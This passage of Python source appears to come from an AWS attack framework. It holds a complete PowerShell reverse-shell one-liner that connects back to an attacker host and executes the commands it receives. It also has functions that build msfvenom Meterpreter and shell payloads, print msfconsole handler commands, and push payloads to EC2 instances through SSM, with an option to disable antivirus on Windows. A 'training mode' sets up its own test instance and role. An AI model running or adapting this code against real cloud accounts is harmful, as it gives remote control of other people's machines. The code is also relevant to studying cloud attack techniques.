windowsattack = "$client = New-Object System.Net.Sockets.TCPClient(\"%s\",%s);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" % (
host, port)
return linuxattack, windowsattack
def metasploit_not_installed_options(host, port, OS):
"""
options in case metasploit is not locally installed on attack system.
TODO: Implement this
:param host: The listening server's IP or hostname
:param port: Port to listen on for shells.
:param OS: OS of that target instance.
:return: Nothing
"""
pass
def metasploit_installed_multiple_options(linux, windows):
"""
Prompts for metasploit options against a range of EC2 instances depending on their OS.
:param linux: Whether or not there are any targeted instances running Linux.
:param windows: Whether or not there are any targeted instances running Windows.
:return: Tuple of metasploit payloads for linux and windows.
"""
puts(color(
'[*] Choose your metasploit payload. This requires msfvenom to be installed in your system.'))
linux_tcp_meterpreterx64 = 'python/meterpreter/reverse_tcp'
linux_https_meterpreterx64 = 'python/meterpreter/reverse_https'
linux_tcp_shell = 'python/shell_reverse_tcp'
windows_tcp_meterpreterx64 = 'windows/x64/meterpreter/reverse_tcp'
windows_https_meterpreterx64 = 'windows/x64/meterpreter/reverse_https'
windows_tcp_shell = 'windows/x64/shell/reverse_tcp'
linuxattack = ''
windowsattack = ''
#remote_ip_host = prompt.query('Your remote IP or hostname to connect back to:')
#remote_port = prompt.query("Your remote port number:", default="4444")
if linux:
linux_options = [{'selector': '1', 'prompt': 'Linux Meterpreter reverse TCP x64', 'return': linux_tcp_meterpreterx64},
{'selector': '2', 'prompt': 'Linux Meterpreter reverse HTTPS x64',
'return': linux_https_meterpreterx64},
{'selector': '3', 'prompt': 'Linux TCP Shell', 'return': linux_tcp_shell}]
linuxpayload = prompt.options(
'Payload for Linux EC2 instances:', linux_options)
host = prompt.query('Your remote IP or hostname to connect back to:')
port = prompt.query(
"Your remote port number (Listener ports should be different for linux and windows):", default="4444")
linuxmsfshell = 'msfvenom -a python --platform python -p %s LHOST=%s LPORT=%s -f raw --smallest' % (
linuxpayload, host, port)
puts(color(
'[*] Run the following command on your remote listening server to run the linux payload handler:'))
msfconsole_cmd = "msfconsole -x 'use exploit/multi/handler; set LHOST %s; set lport %s; set payload %s;run -j;'" % (
host, port, linuxpayload)
puts(colored.magenta(msfconsole_cmd))
linuxattack = os.popen(linuxmsfshell).read()
linuxattack = "python -c \"%s\"" % linuxattack
if windows:
windows_options = [{'selector': '1', 'prompt': 'Windows Meterpreter reverse TCP x64', 'return': windows_tcp_meterpreterx64},
{'selector': '2', 'prompt': 'Windows Meterpreter reverse HTTPS x64',
'return': windows_https_meterpreterx64},
{'selector': '3', 'prompt': 'Windows TCP Shell', 'return': windows_tcp_shell}]
windowspayload = prompt.options(
'Payload for Windows EC2 instances:', windows_options)
host = prompt.query('Your remote IP or hostname to connect back to:')
port = prompt.query(
"Your remote port number (Listener ports should be different for linux and windows):", default="5555")
windowsmsfshell = 'msfvenom -a x64 --platform Windows -p %s LHOST=%s LPORT=%s --f psh-net --smallest' % (
windowspayload, host, port)
puts(color(
'[*] Run the following command on your remote listening server to run the windows payload handler:'))
msfconsole_cmd = "msfconsole -x 'use exploit/multi/handler; set LHOST %s; set lport %s; set payload %s;run -j;'" % (
host, port, windowspayload)
puts(colored.magenta(msfconsole_cmd))
windowsattack = os.popen(windowsmsfshell).read()
return linuxattack, windowsattack
def metasploit_installed_options(host, port, OS):
"""
Prompts for metasploit options against an EC2 instance depending on its OS.
:param host: IP or hostname of the listening server running metasploit exploit handler.
:param port: The port the exploit handler is listening on.
:param OS: The OS of the target instance
:return: Tuple of reverse shell payloads for linux and windows.
"""
puts(color(
'[*] Choose your metasploit payload. This requires msfvenom to be installed in your system.'))
# output = os.popen("msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f psh --smallest").read()`
linux_tcp_meterpreterx64 = 'python/meterpreter/reverse_tcp'
linux_https_meterpreterx64 = 'python/meterpreter/reverse_https'
linux_tcp_shell = 'python/shell_reverse_tcp'
windows_tcp_meterpreterx64 = 'windows/x64/meterpreter/reverse_tcp'
windows_https_meterpreterx64 = 'windows/x64/meterpreter/reverse_https'
windows_tcp_shell = 'windows/x64/shell/reverse_tcp'
if OS == 'linux':
action = 'AWS-RunShellScript'
shell_options = [{'selector': '1', 'prompt': 'Linux Meterpreter reverse TCP x64', 'return': linux_tcp_meterpreterx64},
{'selector': '2', 'prompt': 'Linux Meterpreter reverse HTTPS x64',
'return': linux_https_meterpreterx64},
{'selector': '3', 'prompt': 'Linux TCP Shell', 'return': linux_tcp_shell}]
else:
action = 'AWS-RunPowerShellScript'
shell_options = [{'selector': '1', 'prompt': 'Windows Meterpreter reverse TCP x64', 'return': windows_tcp_meterpreterx64}, {'selector': '2', 'prompt': 'Windows Meterpreter reverse HTTPS x64', 'return': windows_https_meterpreterx64},
{'selector': '3', 'prompt': 'Windows TCP Shell', 'return': windows_tcp_shell}]
payload = prompt.options('Payload:', shell_options)
if OS == 'linux':
msfshell = 'msfvenom -p %s LHOST=%s LPORT=%s -f raw --smallest' % (
payload, host, port)
else:
msfshell = 'msfvenom -p %s LHOST=%s LPORT=%s --f psh-net --smallest' % (
payload, host, port)
puts(color(
'[*] Run the following command on your reverse server running the handler:'))
msfconsole_cmd = "msfconsole -x 'use exploit/multi/handler; set LHOST %s; set lport %s; set payload %s;run -j;'" % (
host, port, payload)
puts(colored.magenta(msfconsole_cmd))
shellcode = os.popen(msfshell).read()
if OS == 'linux':
shellcode = "python -c \"%s\"" % shellcode
return shellcode, action
def start_training_mode(caller):
"""
Start the training mode.
:param caller: menu that called this function
:return: None
"""
global my_aws_creds
mysession = ''
try:
mysession = my_aws_creds['session']
except:
puts(color("[!] Error! No EC2 credentials set. Call setprofile first!"))
go_to_menu(caller)
ec2resource = mysession.resource('ec2')
iamresource = mysession.resource('iam')
ssmclient = mysession.client('ssm')
iamclient = mysession.client('iam')
ec2client = mysession.client('ec2')
with indent(6, quote=">>>>"):
puts(color('[*] Training mode entered'))
puts(color('[..] preparing environment....'))
AssumeRolePolicydata = {'Version': '2012-10-17', 'Statement': {'Effect': 'Allow',
'Principal': {'Service': 'ec2.amazonaws.com'}, 'Action': 'sts:AssumeRole'}}
puts(color('[..] Creating Assume Role Policy...'))
rolename = 'role' + id_generator()
puts(color('[..] Creating role with name: %s' % rolename))
role = iamresource.create_role(
RoleName=rolename, AssumeRolePolicyDocument=json.dumps(AssumeRolePolicydata))
puts(color("[+] Role created successfully."))
puts(color('[..] Attaching needed policies for role...'))
responseforrole = iamclient.attach_role_policy(
RoleName=role.name, PolicyArn='arn:aws:iam::aws:policy/service-role/AmazonEC2RoleforSSM')
puts(color('[+] Role attached successfully to policy AmazonEC2RoleforSSM'))
puts(color('[..] Creating EC2 instance profile and adding it to role...'))
instance_profile = iamresource.create_instance_profile(
InstanceProfileName=role.name)
instance_profile.add_role(RoleName=role.name)
OS, amznlnxaminame = choose_training_ami()
puts(color('[+] OS chosen is: %s' % OS))
# "amzn2-ami-hvm-2.0.20190115-x86_64-gp2" #"amzn-ami-hvm-2018.03.0.20180811-x86_64-ebs"
puts(color('[+] Amazon AMI used is: %s' % amznlnxaminame))
ami_images = list(ec2resource.images.filter(
Filters=[{'Name': 'name', 'Values': [amznlnxaminame, ]}]))
amznamiid = ami_images[0].image_id
puts(
color('[..] Now creating EC2 instance of type t2.micro with this AMI....'))
time.sleep(10)
newinstances = ec2resource.create_instances(
ImageId=amznamiid, InstanceType='t2.micro', MinCount=1, MaxCount=1, IamInstanceProfile={'Name': role.name})
newinstance = newinstances[0]
puts(color('[+] EC2 instance id is: %s' % newinstance.id))
puts(color(
'[..] Waiting for EC2 instance to complete running..... This will take a while'))
newinstance.wait_until_running()
newinstance.reload()
puts(color('[+] EC2 instance state is: %s' % newinstance.state))
payload, action, disableav = shellscript_options(OS)
puts(
color('[..] Sending the command "%s" to the running instance....' % payload))
instanceid = newinstance.id
time.sleep(10)
if OS == 'linux':
success = run_linux_command(ssmclient, instanceid, action, payload)
else:
puts(color(
'[..] Waiting for Windows EC2 instance to be ready... waiting for 2 minutes...'))
time.sleep(120)
success = run_windows_command(
ssmclient, instanceid, action, payload, disableav)
#########
#########
puts(color(
'[+] Training mode done... Now terminating EC2 instance and deleting IAM role...'))
newinstance.terminate()
puts(color('[..] Waiting for instance to be terminated...'))
newinstance.wait_until_terminated()
puts(
color('[+] EC2 instance terminated. Now detaching policy and deleting role...'))
instance_profile.remove_role(RoleName=role.name)
instance_profile.delete()
role.detach_policy(
PolicyArn='arn:aws:iam::aws:policy/service-role/AmazonEC2RoleforSSM')
role.delete()